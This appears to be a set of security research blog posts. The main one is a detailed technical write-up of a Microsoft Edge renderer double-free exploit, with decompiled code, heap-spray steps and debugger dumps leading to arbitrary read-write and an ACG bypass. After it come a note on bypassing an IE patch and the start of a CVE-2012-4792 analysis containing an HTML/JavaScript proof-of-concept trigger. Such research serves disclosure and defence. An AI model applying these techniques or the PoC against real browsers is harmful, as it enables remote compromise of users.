    char v14; // [rsp+38h] [rbp-10h]

    v5 = a2;
    v13 = 0i64;
    v6 = a1;
    v12 = &CDXRenderLock::`vftable`;
    v14 = 1;
    v7 = a4;
    v8 = a3;
    CDXRenderLockBase::Acquire(&v12, 2);
    if ( a5 != 2 || (*(*v7 + 0x18i64))(v7) == 0x8210 || (*(*v7 + 0x18i64))(v7) == 0x16 && v7[0x144] & 4 )
    {
        v9 = CDXSystemShared::GetResourceCache(v6, v5, a5, &v11);
        if ( (v9 & 0x80000000) == 0 )
        {
            (**v11)(v11, v8, v7); // TDispResourceCache<CDispNoLock,1,0>::Add
        }
    }
    else
    {
        v9 = 0x8000FFFF;
    }
    TSmartResource<CDXRenderLock>::~TSmartResource<CDXRenderLock>(&v12);
    return v9;
}

The above method adds a display resource to the cache. In the current case, the display resource is the DXImageRenderTarget object and the cache is a hash table which is implemented in the TDispResourceCache class.

On line 32 the call to the TDispResourceCache<CDispNoLock,1,0>::Add() method happens:

HashTableEntry *__fastcall TDispResourceCache<CDispNoLock,1,0>::Add(
	__int64 resourceCache,
	unsigned __int64 key,
	__int64 arg_DXImageRenderTarget
)
{
    __int64 entries; // rbp
    __int64 DXImageRenderTarget; // rdi
    unsigned __int64 entryKey; // rsi
    HashTableEntry *result; // rax
    VulnObject *hashTableEntryValue; // rbx
    void *ptr; // rax
    VulnObject *newHashTableEntryValue; // rax
    char v10; // [rsp+30h] [rbp+8h]

    entries = resourceCache + 0x10;
    DXImageRenderTarget = arg_DXImageRenderTarget;
    entryKey = key;
    result = CHtPvPvBaseT<&int nullCompare(void const *,void const *,void const *,bool),HashTableEntry>::FindEntry((resourceCache + 0x10), key);
    hashTableEntryValue = 0i64;
    if ( result )
    {
        hashTableEntryValue = result->value;
    }
    if ( !hashTableEntryValue )
    {
        ptr = MemoryProtection::HeapAlloc<0>(0x10ui64);
        newHashTableEntryValue = Abandonment::CheckAllocationUntyped(ptr, 0x10ui64);
        hashTableEntryValue = newHashTableEntryValue;
        if ( newHashTableEntryValue )
        {
            newHashTableEntryValue->ptrToDXImageRenderTarget = DXImageRenderTarget;
            if ( DXImageRenderTarget )
            {
                (*(*DXImageRenderTarget + 8i64))(DXImageRenderTarget);
            }
            LODWORD(hashTableEntryValue->refCounter) = 0;
        }
        else
        {
            hashTableEntryValue = 0i64;
        }
        result = CHtPvPvBaseT<&int nullCompare(void const *,void const *,void const *,bool),HashTableEntry>::Insert(entries, &v10, entryKey, hashTableEntryValue);
    }
    ++LODWORD(hashTableEntryValue->refCounter);
    return result;
}

On line 27 the vulnerable object is getting allocated. Important to note that the object is not allocated through the MemGC mechanism.

The hash table entries consist of a key-value pair. The key is a CCanvasPattern::Data object and the value is a DXImageRenderTarget. The initial size of the hash table allows it to hold up to 29 entries, however there is space for 37 entries. Extra entries are required to reduce the amount of possible hash collisions. A hash function is applied to each key to deduce position in the hash table. When the hash table is full, CHtPvPvBaseT<&int nullCompare(…),HashTableEntry>::Grow() method is called to increase the capacity of the hash table. During this call, key-value pairs are moved to the new indexes, keys are removed from the previous position, but values remain. If, after the growth, the key-value pair has to be removed (e.g.canvas pattern objects is freed), the value is freed and the key-value pair is removed only from the new position.

When the amount of entries is below a certain value, CHtPvPvBaseT<&int nullCompare(…),HashTableEntry>::Shrink() method is called to reduce the capacity of the hash table. When the CHtPvPvBaseT<&int nullCompare(…),HashTableEntry>::Shrink() method is called, key-value pairs are moved to the previous positions.

When the canvas pattern object is freed, the hash table entry which holds the appropriate CCanvasPattern::Data object is removed via the following method call:

__int64 __fastcall TDispResourceCache<CDispNoLock,1,0>::Remove(
	__int64 resourceCache,
	__int64 a2,
	_QWORD *a3
)
{
    __int64 entries; // r14
    unsigned int hr; // ebx
    _QWORD *savedPtr_out; // rsi
    __int64 entryKey; // rbp
    HashTableEntry *hashTableEntry; // rax
    VulnObject *freedObject; // rdi
    bool doFreeObject; // zf
    __int64 savedPtr; // rcx
    void *v12; // rdx

    entries = resourceCache + 0x10;
    hr = 0;
    *a3 = 0i64;
    savedPtr_out = a3;
    entryKey = a2;
    hashTableEntry = CHtPvPvBaseT<&int nullCompare(void const *,void const *,void const *,bool),HashTableEntry>::FindEntry((resourceCache + 0x10), a2);
    if ( hashTableEntry && (freedObject = hashTableEntry->value) != 0i64 )
    {
        doFreeObject = LODWORD(freedObject->refCounter)-- == 0;
        savedPtr = freedObject->ptrToDXImageRenderTarget;
        if ( doFreeObject )
        {
            freedObject->ptrToDXImageRenderTarget = 0i64;
            *savedPtr_out = savedPtr;
            CHtPvPvBaseT<&int nullCompare(void const *,void const *,void const *,bool),HashTableEntry>::Remove(entries, entryKey);
            TDispResourceCache<CDispSRWLock,1,1>::CacheEntry::`scalar deleting destructor`(freedObject, v12);
        }
        else
        {
            *savedPtr_out = savedPtr;
            (*(*savedPtr + 8i64))(savedPtr);
        }
    }
    else
    {
        hr = 0x80004005;
    }
    return hr;
}

This method retrieves the hash table entry value by calling the CHtPvPvBaseT<&int nullCompare(…),HashTableEntry>::FindEntry() method.

If the call to CCanvasRenderingProcessor2D::EnsureBitmapRenderTarget() returns an error, the canvas pattern object has an uninitialized member which is supposed to hold a pointer to the CCanvasPattern::Data object. Nevertheless, the canvas pattern object destructor calls the CHtPvPvBaseT<&int nullCompare(…),HashTableEntry>::FindEntry() method and provides a key which is a nullptr. The method returns the very first value if there is any. If the hash table was grown and then shrunk, it will store pointers to the freed DXImageRenderTarget objects. Under such conditions, the TDispResourceCache<CDispNoLock,1,0>::Remove() method will operate on the already freed object (variable freedObject).

Several attempts are required to trigger vulnerability because there will not always be an entry at the first position.

It is possible to exploit this vulnerability in one of two ways:

  1. allocate some object in place of the freed object and free it thus causing a use-after-free on an almost arbitrary object
  2. allocate some object which has a suitable layout (first quad-word must be a pointer to an object with a virtual function table) to call a virtual function and cause side-effects like corrupting some useful data

The first method was chosen for exploitation because it’s difficult to find an object which fits the requirements for the second method.

Exploit Development

The exploit turned out to be non-trivial due to the following reasons:

  • Microsoft Edge allocates objects with different sizes and types on different heaps; this reduces the amount of available objects
  • the freed object is allocated on the default Windows heap which employs LFH; this makes it impossible to create adjacent allocations and reduces the chances of successful object overwrite
  • the freed object is 0x10 bytes; objects of this size are often used for internal servicing purposes; this makes the relevant heap region busy which also reduces exploitation reliability
  • there is a limited number of LFH objects of 0x10 bytes in size that are available from Javascript and are actually useful
  • objects that are available for control from Javascript allow only limited control
  • no object used during exploitation allows direct corruption of any field in a way that can lead to useful effects (e.g. controllable write)
  • multiple small heap allocations and frees were required to gain control over objects with interesting fields.

A high-level overview of the renderer exploitation process:

  1. the heap is prepared and the objects required for exploitation are sprayed
  2. all of the 0x10-byte DXImageRenderTarget objects are freed (one of them is the object which will be freed again)
  3. audio buffer objects are sprayed; this also creates 0x10-byte raw data buffer objects with arbitrary size and contents; some of the buffers take the freed spots
  4. the double-free is triggered and one of the 0x10-byte raw data buffer objects is freed (it is possible to read-write this object)
  5. objects of 0x10-bytes size are sprayed, they contain two pointers (0x8-bytes) to 0x20-byte sized raw data buffer objects
  6. the exploit iterates over the raw data buffer objects allocated on step 3 and searches for the overwrite
  7. objects allocated on step 5 are freed (with 0x20-byte sized objects) and 0x20-byte sized typed arrays are sprayed over them
  8. the exploit leaks pointers to two of the sprayed typed arrays
  9. 0x10-byte sized objects are sprayed, they contain two pointers to the 0x200-byte sized raw data buffer objects; audio source will keep writing to these buffers
  10. the exploit leaks pointers to two of the sprayed write-buffer objects
  11. the exploit starts playing audio, this starts writing to the controllable (vulnerable) object address of the typed array (the address is increased by 0x10 bytes to point to the length of the typed array) in the loop; the audio buffer source node keeps writing to the 0x200-byte data buffer, but is re-writing pointers to the buffer in the 0x10-byte object; the repeated write in the loop is required to win a race
  12. after a certain amount of iterations the exploit quits looping and checks if the typed array has increased length
  13. at this point exploit has achieved a relative read-write primitive
  14. the exploit uses the relative read to find the WebCore::AudioBufferData and WTF::NeuteredTypedArray objects (they are placed adjacent on the heap)
  15. the exploit uses data found during the previous step in order to construct a typed array which can be used for arbitrary read-write
  16. the exploit creates a fake DataView object for more convenient memory access
  17. with arbitrary read-write is achieved, the exploit launches a sandbox escape.

The following diagram can help understand the described steps:

Renderer exploitation steps

Getting relative read-write primitive

To trigger the vulnerability, thirty canvas pattern objects are created, this forces the hash table to grow. Then the canvas pattern objects are freed and the hash table is shrunk; this creates a dangling pointer to the DXImageRenderTarget in the hash table entry. It is yet not possible to access the pointer to the freed object.

After the DXImageRenderTarget object is freed by the TDispResourceCache<CDispNoLock,1,0>::Remove method, the spray is performed to allocate audio context data buffer objects – let us call it spray “A”. Data buffer objects are created by calling audio context createBuffer(). This function has the following prototype:

let buffer = baseAudioContext.createBuffer(numOfchannels, length, sampleRate);

The numOfchannels argument denotes a number of pointers to channel data to create, length is the length of the data buffer, sampleRate is not important for exploitation. Javascript createBuffer() triggers the call to CDOMAudioContext::Var_createBuffer(), which eventually calls WebCore::AudioChannelData::Initialize():

void __fastcall WebCore::AudioChannelData::Initialize(
	WebCore::AudioChannelData *this,
	struct WebCore::ExceptionState *a2,
	unsigned int a3
)
{
    WebCore::AudioChannelData *this_; // rsi
    unsigned int length; // ebx
    struct WebCore::ExceptionState *exceptionState; // rdi
    void *ptr; // rax
    __int64 IEOwnedTypedArray; // rax
    MemoryProtection *v8; // rbx

    this_ = this;
    length = a3;
    exceptionState = a2;
    ptr = MemoryProtection::HeapAlloc<0>(0x18ui64);
    IEOwnedTypedArray = Abandonment::CheckAllocationUntyped(ptr, 0x18ui64);
    if ( IEOwnedTypedArray )
    {
        IEOwnedTypedArray = WTF::IEOwnedTypedArray<1,float>::IEOwnedTypedArray<1,float>(IEOwnedTypedArray, __PAIR64__(exceptionState, IEOwnedTypedArray), length);
    }
    v8 = IEOwnedTypedArray;
    if ( !*exceptionState )
    {
        v8 = 0i64;
        TSmartMemory<WebCore::AudioProcessor>::operator=(this_ + 2, IEOwnedTypedArray);
    }
    if ( v8 )
    {
        WTF::IEOwnedTypedArray<1,float>::`scalar deleting destructor`(v8, 1);
    }
}

On line 17 a WTF::IEOwnedTypedArray object is allocated on the default Windows heap. This object is interesting for exploitation as it contains the following metadata:

0:016> dq 000001b0`374fbd80 L20/8
000001b0`374fbd80  00007ffe`47f8b4a0 000001b0`379e9030 ; vtable; pointer to the data buffer
000001b0`374fbd90  00000000`00000030 00080000`00000000 ; length; unused

0:016> dq 000001b0`379e9030 L10/8
000001b0`379e9030  0000003a`cafebeef 00000000`00000002 ; arbitrary data

0:016> ln 00007ffe`47f8b4a0
(00007ffe`47f8b4a0)   edgehtml!WTF::IEOwnedTypedArray<1,float>::`vftable`

On line 21 the data buffer is allocated (also on the default Windows heap). One of the buffers takes the spot of the freed DXImageRenderTarget object. This data buffer has the following layout:

0:016> dq 000001b0`377fa7e0 L10/8
000001b0`377fa7e0  00000000`00000000 00000000`00000001

The second quad-word is a reference counter. Values other than 1 trigger access to the virtual function table which does not exist and cause a crash. A reference counter value of 1 means that the object is going to be freed.

The data buffer which is allocated in place of the freed object is used throughout the exploit to read and write values placed inside this buffer.

Before freeing the object for the second time, audio context buffer sources are created by calling Javascript createBufferSource(). This function does not accept any arguments, but is expecting the buffer property to be set. Allocations are made before the vulnerable object is freed so to avoid unnecessary noise on the heap – let us call it spray “B”. The buffer property is set to one of the buffer objects which were created during startup (i.e. before triggering the vulnerability) by calling createBuffer() – let us call it spray “C”. During this property access, the following method is called:

void __fastcall WebCore::AudioBufferSourceNode::setBuffer(
	WebCore::AudioBufferSourceNode *this,
	struct IActiveScriptDirect *a2,
	struct WebCore::AudioBuffer *a3,
	struct WebCore::ExceptionState *a4
)
{
    struct WebCore::ExceptionState *exceptionState; // rbp
    struct WebCore::AudioBuffer *audioBuffer; // rsi
    struct IActiveScriptDirect *v6; // r12
    WebCore::AudioBufferSourceNode *this_; // rdi
    bool v8; // zf
    struct CBase **v9; // r14
    __int64 v10; // rcx
    void *channelCount; // r15
    WebCore::AudioNodeOutput *audioNode; // rax
    WebCore::AudioContext *v13; // [rsp+20h] [rbp-38h]
    bool v14; // [rsp+28h] [rbp-30h]
    int hr; // [rsp+70h] [rbp+18h]

    exceptionState = a4;
    audioBuffer = a3;
    v6 = a2;
    this_ = this;
    if ( a3 )
    {
        v8 = *(this + 0x1E) == *(a3 + 6);
    }
    else
    {
        v8 = *(this + 0x1D) == 0i64;
    }
    if ( !v8 )
    {
        v9 = (this + 0xE8);
        if ( *(this + 0x1D) )
        {
            hr = 0x8070000B;
            WebCore::ExceptionState::throwDOMException(a4, &hr, 0xDC37u);
            return;
        }
        v13 = *(this + 8);
        WebCore::AudioContext::lock(v13, &v14);
        EnterCriticalSection(this_ + 4);
        ++*(this_ + 0x19);
        // some code skipped for brevity...
        channelCount = *(*(audioBuffer + 6) + 0x20i64);
        if ( channelCount <= 0x20 )
        {
            if ( !*(audioBuffer + 0x38) )
            {
                if ( (*(this_ + 0x27) - 1) <= 1 )
                {
                    WebCore::AudioBufferSourceNode::acquireBufferContents(this_, exceptionState, v6, audioBuffer);
                    if ( *exceptionState )
                    {
                        goto LABEL_23;
                    }
                    if ( *(this_ + 0x138) )
                    {
                        WebCore::AudioBufferSourceNode::clampGrainParameters(this_, audioBuffer);
                    }
                    else
                    {
                        *(this_ + 0x26) = 0i64;
                    }
                }
                CJScript9Holder::InsertReferenceTo(this_, audioBuffer);
                audioNode = WebCore::AudioNode::output(this_, 0);
                WebCore::AudioNodeOutput::setNumberOfChannels(audioNode, channelCount);
                TSmartArray<System::String *>::New(this_ + 0x20, channelCount);
LABEL_20:
                if ( *v9 )
                {
                    CJScript9Holder::RemoveReferenceTo(this_, *v9);
                }
                TSmartPointer<CVideoElement,Tree::NodeReferenceTraits,CVideoElement *>::operator=(v9, audioBuffer);
                goto LABEL_23;
            }
            hr = 0x8070000B;
            WebCore::ExceptionState::throwDOMException(exceptionState, &hr, 0xDC33u);
        }
        else
        {
            WebCore::ExceptionState::throwTypeError(exceptionState, 0xDC06u, channelCount);
        }
LABEL_23:
        --*(this_ + 0x19);
        LeaveCriticalSection(this_ + 4);
        WebCore::AudioContext::AutoLocker::~AutoLocker(&v13);
    }
}

On line 71 yet another data buffer is allocated. The amount of bytes depends on the number of channels. Each channel creates one pointer which points to the data with arbitrary size and controllable contents. This is a useful primitive which is used later during the exploitation process.

To trigger the call to the WebCore::AudioBufferSourceNode::setBuffer() method, the audio must be already playing: either start() is called with the buffer property already set, or the buffer property is set and then start() is called.

Next, the double-free vulnerability is triggered and one of the audio channel data buffers is freed, although control from Javascript is retained.

The start() method of the audio buffer source object is called on each object of spray “B”. This creates multiple 0x10-byte sized objects with two pointers to the 0x20-byte sized data buffer object of spray “C”. During this spray one of the sprayed objects takes over the freed object from spray “A”.

Then the exploit iterates over spray “A” to find a data buffer with changed contents. Each object of spray “A” has getChannelData() – which returns the channel data as a Float32Array typed array. getChannelData() accepts only the channel number argument. Once the change has been found, a typed array is created. This typed array is read-writable and is further used multiple times in the exploit to leak and write pointers. Let us call it typed array “TA1”.

After the controllable channel data typed array is found, all of the spray “B”objects are freed. All data relevant to spray “B” is scoped just to one function. This is required to remove all internal references from Javascript to the data buffer from spray “C”. Otherwise it will not be possible to free the data buffer later.

After the return from the function, another spray is made – let us call it spray “D”. This spray prepares an audio buffer source data for the next steps and takes over the freed object. At this point the overwritten object does not contain data.

Then the exploit iterates over spray “D” and calls the start() function of each object. This writes to the freed object two pointers pointing to the 0x200-byte sized objects. These objects are used by the audio context to write audio data to be played. It is important to note that data is periodically written to this buffer, as well as pointers constantly written to the 0x10-byte objects. (This poses another problem which is resolved at the next step.) These pointers are also leaked via the “TA1” typed array.

Then the buffer object which was used for spray “B” is freed and a different spray is performed to take over the just-freed data buffer – let us call it spray “E”. Spray “E” allocates typed arrays (which are of size 0x20 bytes) and one of the typed arrays overwrites contents of the freed 0x20-byte data buffer. This allows a leak of pointers to two of the sprayed typed arrays via the typed array “TA1”. Only one pointer to the typed array is required for the exploit, let us call it typed array “TA2”. This typed array points to the data buffer of 0x30 bytes. The size of this buffer is important as it allows placement of other objects nearby which are useful for exploitation.

At this point it is known where the two typed arrays and the two audio write-buffers are located. The exploit enters a loop which constantly writes a pointer to the “TA2” typed array to the 0x10-byte object. The written pointer is increased by 0x10 bytes to point to the length field. The loop is required to win a race condition because the audio context thread keeps re-writing pointers in the 0x10-byte object. After a certain number of iterations the loop is ended and the exploit searches for the overwritten typed array.

The overwritten WTF::IEOwnedTypedArray typed array gives a relative read-write primitive.

Getting arbitrary read-write primitive

Before triggering the vulnerability the exploit has made another spray which has allocated the buffer sources and appropriate buffers for the sources – let us call it spray “F” . During this spray the WebCore::AudioBufferData objects of 0x30 bytes size with the following memory layout are created:

0:016> dq 000001b0`379e9570 L30/8
000001b0`379e9570  00007ffe`47f85988 00000000`45fa0000
000001b0`379e9580  00000000`0000000c 000001b0`379e9420
000001b0`379e9590  0000000a`0000000a 00000000`00000001
0:016> ln 00007ffe`47f85988
(00007ffe`47f85988)   edgehtml!RefCounted<WebCore::AudioBufferData,MultiThreadedRefCount>::`vftable`

These objects are placed nearby the data buffer which is controlled by the typed array “TA2”. WTF::NeuteredTypedArray objects of size 0x30 bytes are placed nearby too:

0:016> dq 000001b0`379e97b0 L30/8
000001b0`379e97b0  00007ffe`47f8b460 000001b0`21fa7fa0
000001b0`379e97c0  00000000`00000020 000001b0`20e6e550
000001b0`379e97d0  00000000`00000001 000001b0`381fc380
0:016> ln 00007ffe`47f8b460
(00007ffe`47f8b460)   edgehtml!WTF::NeuteredTypedArray<1,float>::`vftable`

After the relative read-write primitive is gained, offsets from the beginning of the typed array “TA2” buffer to these objects are found by searching for the specific pattern.

Knowing the offset to the WebCore::AudioBufferData object allows to leak a pointer to the audio channel data buffer. (The audio channel data is used to create a fake controllable DataView object and eventually achieve an arbitrary read-write primitive.) At offset 0x18 of the WebCore::AudioBufferData object, the pointer to the audio channel data buffer is stored. Before calling getChannelData() the memory layout of the channel data buffer looks like the following:

0:001> dq 00000140`e87e81c0 L30/8
00000140`e87e81c0  00007ffe`47f85988 00000000`45fa0000
00000140`e87e81d0  00000000`0000000c 00000142`01c6b230
00000140`e87e81e0  0000000a`0000000a 00000000`00000001
0:001> dq 00000142`01c6b230
00000142`01c6b230  00000000`00000000 00000000`00000000
00000142`01c6b240  00000140`e87ee160 00000000`00000000
00000142`01c6b250  00000000`00000000 00000140`e87ee240
00000142`01c6b260  00000000`00000000 00000000`00000000
00000142`01c6b270  00000140`e87ee2e0 00000000`00000000
00000142`01c6b280  00000000`00000000 00000140`e87ee4c0
00000142`01c6b290  00000000`00000000 00000000`00000000
00000142`01c6b2a0  00000140`e87ee500 00000000`00000000
0:001> dq 00000140`e87ee160
00000140`e87ee160  00007ffe`47f8b4a0 00000140`e87e8430
00000140`e87ee170  00000000`00000030 00080000`00000000
00000140`e87ee180  00007ffe`47de5838 00000140`e87ee180
00000140`e87ee190  80000000`00000000 00040000`00000000
00000140`e87ee1a0  00007ffe`47f8b4a0 00000140`e87e8490
00000140`e87ee1b0  00000000`00000030 00080000`00000000
00000140`e87ee1c0  00007ffe`47de5838 00000140`e87ee1c0
00000140`e87ee1d0  80000000`00000000 00080000`00000000
0:001> ln 00007ffe`47de5838
(00007ffe`47de5838)   edgehtml!WTF::TypedArray<1,float>::`vftable`

After calling getChannelData() member of the WebCore::AudioBufferData object, pointers in the channel data buffer are moved around and start pointing to the typed array objects allocated on the Chakra heap. This is important as it allows leaking the typed array pointers and creating a fake typed array. This is the memory layout of the channel data buffer after the call to getChannelData():

0:001> dq 00000140`01c6b230
00000140`01c6b230  00000140`e87e7eb0 00000000`00000000 ; pointer to the typed array
00000140`01c6b240  00000000`00000000 00000141`0142f900
00000140`01c6b250  00000000`00000000 00000000`00000000
00000140`01c6b260  00000141`0142f880 00000000`00000000
00000140`01c6b270  00000000`00000000 00000141`0142f800
00000140`01c6b280  00000000`00000000 00000000`00000000
00000140`01c6b290  00000141`0142f780 00000000`00000000
00000140`01c6b2a0  00000000`00000000 00000141`0142f700
0:001> dq 00000140`e87e7eb0 L40/8
00000140`e87e7eb0  00007ffe`4694c630 00000140`e87e7e60
00000140`e87e7ec0  00000000`00000000 00000000`00000000
00000140`e87e7ed0  00000000`00000020 00000141`01a9d280
00000140`e87e7ee0  00000000`00000004 00000141`01314ec0
0:001> ln 00007ffe`4694c630
(00007ffe`4694c630)   chakra!Js::TypedArray<float,0,0>::`vftable`

Knowing the offset to the WTF::NeuteredTypedArray object allows to achieve an arbitrary read primitive.

The buffer this object points to cannot be used for a write. Once the write happens, the buffer is moved to another heap. Increasing the length of the buffer is not possible due to security asserts enabled. An attempt to write to the buffer with the modified length leads to a crash of the renderer process.

The layout of the WTF::NeuteredTypedArray object looks like the following:

0:001> dq 00000140`e87e81f0 L30/8
00000140`e87e81f0  00007ffe`47f8b460 00000140`e70f87e0
00000140`e87e8200  00000000`00000020 00000140`d1c6e5a0
00000140`e87e8210  00000000`00000001 00000140`d1cff2a0
0:001> ln 00007ffe`47f8b460
(00007ffe`47f8b460)   edgehtml!WTF::NeuteredTypedArray<1,float>::`vftable`
0:001> dq 00000140`e70f87e0 L20/8
00000140`e70f87e0  00000000`cafe0011 00000000`00000032
00000140`e70f87f0  00000000`00000000 00000000`00000000

A pointer to the data buffer is stored at offset 8. It is possible to overwrite this pointer and point to any address to arbitrarily read memory.

With the arbitrary read primitive the contents of the typed array and the channel data buffer of the WebCore::AudioBufferData object are leaked. With the ability to write to the relative typed array, the following contents are placed in the controllable buffer:

0:001> dq 00000140`e87e7da0 L150/8
00000140`e87e7da0  00000140`e87e7eb0 00000000`00000000
00000140`e87e7db0  00000000`00000000 00000141`0142f900
00000140`e87e7dc0  00000000`00000000 00000000`00000000
00000140`e87e7dd0  00000141`0142f880 00000000`00000000
00000140`e87e7de0  00000000`00000000 00000141`0142f800
00000140`e87e7df0  00000000`00000000 00000000`00000000
00000140`e87e7e00  00000141`0142f780 00000000`00000000
00000140`e87e7e10  00000000`00000000 00000141`0142f700
00000140`e87e7e20  00000000`00000000 00000000`00000000
00000140`e87e7e30  00000141`0142f680 00000000`00000000
00000140`e87e7e40  00000000`00000000 00000141`0142f600
00000140`e87e7e50  00000000`00000000 00000000`00000000
00000140`e87e7e60  00000080`00000038 00000140`d2968000 ; type tag ; pointer to the Js::JavascriptLibrary
00000140`e87e7e70  00000000`00000000 00000141`0142f500
00000140`e87e7e80  00000000`00000000 00000000`00000000
00000140`e87e7e90  00000000`00000000 00000000`00000000
00000140`e87e7ea0  00000001`00002958 00000000`0f69d8c7
00000140`e87e7eb0  00007ffe`4694c630 00000140`e87e7e60 ; vtable; metadata pointer
00000140`e87e7ec0  00000000`00000000 00000000`00000000
00000140`e87e7ed0  00000000`00000020 00000141`01a9d280
00000140`e87e7ee0  00000000`00000004 00000141`01314ec0
0:001> dq 00000140`e87e7f80 L30/8
00000140`e87e7f80  00007ffe`47f85988 00000000`45fa0000
00000140`e87e7f90  00000000`0000000c 00000140`e87e7da0
00000140`e87e7fa0  0000000a`0000000a 00000000`00000001
0:001> ln 00007ffe`47f85988
(00007ffe`47f85988)   edgehtml!RefCounted<WebCore::AudioBufferData,MultiThreadedRefCount>::`vftable`
0:001> dq 00000141`0142f880
00000141`0142f880  00007ffe`4694c630 00000140`d29753c0
00000141`0142f890  00000000`00000000 00000000`00000000
00000141`0142f8a0  00000000`0000000c 00000141`01a9d320
00000141`0142f8b0  00000000`00000004 00000140`e87e8040
00000141`0142f8c0  00007ffe`4694c630 00000140`d29753c0
00000141`0142f8d0  00000000`00000000 00000000`00000000
00000141`0142f8e0  00000000`00000008 00000141`01438230
00000141`0142f8f0  00000000`00000004 00000138`cffb9320
0:001> ln 00007ffe`4694c630
(00007ffe`4694c630)   chakra!Js::TypedArray<float,0,0>::`vftable`

After this operation the WebCore::AudioBufferData object points to the fake channel data (located at 0x00000140e87e7da0). The channel data contains a pointer to the fake DataView object (located at 0x00000140e87e7eb0). Initially, the Float32Array object is leaked and placed, but it is not a very convenient type to use for exploitation. To convert it to a DataView object, the type tag has to be changed in the metadata. The type tag for the Float32Array object type is 0x31, for the DataView object it is 0x38.

The fake DataView object is accessed by calling getChannelData() of the WebCore::AudioBufferData object.

At this point an arbitrary read-write primitive is achieved.

Wrapping up the renderer exploit

Getting code execution in Microsoft Edge renderer is a bit more involved in contrast to other browsers since Microsoft Edge browser employs mitigations known as Arbitrary Code Guard (ACG) and Code Integrity Guard (CIG). Nevertheless, there is a way to bypass ACG. Having an arbitrary read-write primitive it is possible to find the stack address, setup a fake stack frame and divert code execution to the function of choice by overwriting the return address. This method was chosen to execute the sandbox escape payload.

The last problem that had to be addressed in order to have reliable process continuation is a LFH double-free mitigation. Once exploitation is over, some pointers are left and when they are picked up by the heap manager, the process will crash. Certain pointers can be easily found by leaking address of required objects. One last pointer had to be found by scanning the heap as there was no straightforward way to find it. Once the pointers are found they are overwritten with null.

Open problems

The exploit has the following issues:

  1. the vulnerability trigger depends on hardware;
  2. exploit reliability is about 75%;

The first issue is due to the described requirement of hardware error. The trigger works only on VMWare and on some devices with integrated video hardware. It is potentially possible to avoid hardware dependency by triggering some generic video graphics hardware error.

The second issue is mostly due to the requirement to have complicated heap manipulations and LFH mitigations. Probably it is possible to improve reliability by performing smarter heap arrangement.

Process continuation was solved as described in the previous section. No artifacts exist.

Detection

It is possible to detect exploitation of the described vulnerability by searching for the combination of the following Javascript code:

  1. repeated calls to createPattern()
  2. setting canvas attributes “width” and “height” to large values
  3. calling createPattern() again

Mitigation

It is possible to mitigate this issue by disabling Javascript.
The described vulnerability was patched by Microsoft in the May updates.

Conclusion

As a result, reliability of the renderer exploit achieved a ~75% success rate. Exploitation takes about 1-2 seconds on average. When multiple retries are required then exploitation can take a bit more time.

Microsoft has gone to great lengths to harden their Edge browser renderer process as browsers still remain a major threat attack vector and the renderer has the largest attack surface. Yet a single vulnerability was used to achieve memory disclosure and gain arbitrary read-write to compromise a content process. Part 2 will discuss an interesting logical sandbox escape vulnerability.

Exodus 0day subscribers have had access to this exploit for use on penetration tests and/or implementing protections for their stakeholders.

Bypassing Microsoft’s Internet Explorer 0day “Fix It” Patch for CVE-2012-4792

Update: After we reported our bypasses to Microsoft, they released the MS13-008 bulletin to patch CVE-2012-4792 officially.

After posting our analysis of the current 0day in Internet Explorer which was used in a “watering hole” style attack hosted on the Council for Foreign Relations website, we decided to take a look at the Fix It patch made available by Microsoft to address the vulnerability. After less than a day of reverse engineering, we found that we were able to bypass the fix and compromise a fully-patched system with a variation of the exploit we developed earlier this week.

We have included details on the bypass to customers of our intelligence feeds and will notify Microsoft of the issue. In practice with coordinated vulnerability disclosure, we intend to update this post with details when Microsoft has addressed the problematic patch.

For more information, keep an eye on this post or contact us to inquire about our offerings.

Happy New Year Analysis of CVE-2012-4792

A new year has arrived and, although a little late, the time has come for me to unpack the present that Santa gave to the Council on Foreign Relations this Christmas. Quite a few blogs have already been written in this issue that has gotten CVE-2012-4792, including one by Microsoft, but that didnt stop me from doing my own analysis. I tried to document all the steps I took and write down how I came to my conclusions so readers can follow and maybe repeat this process. All my work has been done on IE8 running on Windows XP, but most of it also applies to Window 7 with the exception of ASLR issues. The mshtml version I worked with is 8.0.6001.19393

Analysis

The first thing I did was grab the Metasploit version of the exploit and remove all heapspay and other items to get a clean poc. This resulted in the following html data.

<pre>
&lt;!doctype html&gt;
&lt;html&gt;
&lt;head&gt;
    &lt;script&gt;
    function helloWorld() {
        var e0 = null;
        var e1 = null;
        var e2 = null;

        try {
            e0 = document.getElementById("a");
            e1 = document.getElementById("b");
            e2 = document.createElement("q");
            e1.applyElement(e2);
            e1.appendChild(document.createElement('button'));
            e1.applyElement(e0);
            e2.outerText = "";
            e2.appendChild(document.createElement('body'));
        } catch(e) { }
        CollectGarbage();
        var eip = window;
        var data = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
        eip.location = unescape("AA" + data);
    }

    &lt;/script&gt;
&lt;/head&gt;
&lt;body onload="eval(helloWorld())"&gt;
    &lt;form id="a"&gt;
    &lt;/form&gt;
    &lt;dfn id="b"&gt;
    &lt;/dfn&gt;
&lt;/body&gt;
&lt;/html&gt;
</pre>

The next step was to turn on pageheap and user stack trace for internet explorer and just run the poc and see what happened.

Analysis-1

This resulted in the following windbg log:

<pre>
(a0.3c0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=05682fa8 ebx=04db8f28 ecx=00000052 edx=00000000 esi=00000000 edi=05682fa8
eip=3d08625c esp=0336d7a0 ebp=0336d80c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
mshtml!CMarkup::OnLoadStatusDone+0x4ef:
3d08625c 8b07            mov     eax,dword ptr [edi]  ds:0023:05682fa8=????????
1:022&gt; !heap -p -a edi
    address 05682fa8 found in
    _DPH_HEAP_ROOT @ 151000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                    5640eb0:          5682000             2000
    7c91a1ba ntdll!RtlFreeHeap+0x000000f9
    3d2b4b10 mshtml!CButton::`vector deleting destructor'+0x0000002f
    3cfa0ad9 mshtml!CBase::SubRelease+0x00000022
    3cf7e76d mshtml!CElement::PrivateRelease+0x00000029
    3cf7a976 mshtml!PlainRelease+0x00000025
    3cf9709c mshtml!PlainTrackerRelease+0x00000014
    3d7b5194 jscript!VAR::Clear+0x0000005c
    3d7b55b9 jscript!GcContext::Reclaim+0x000000ab
    3d7b4d08 jscript!GcContext::CollectCore+0x00000113
    3d82471d jscript!JsCollectGarbage+0x0000001d
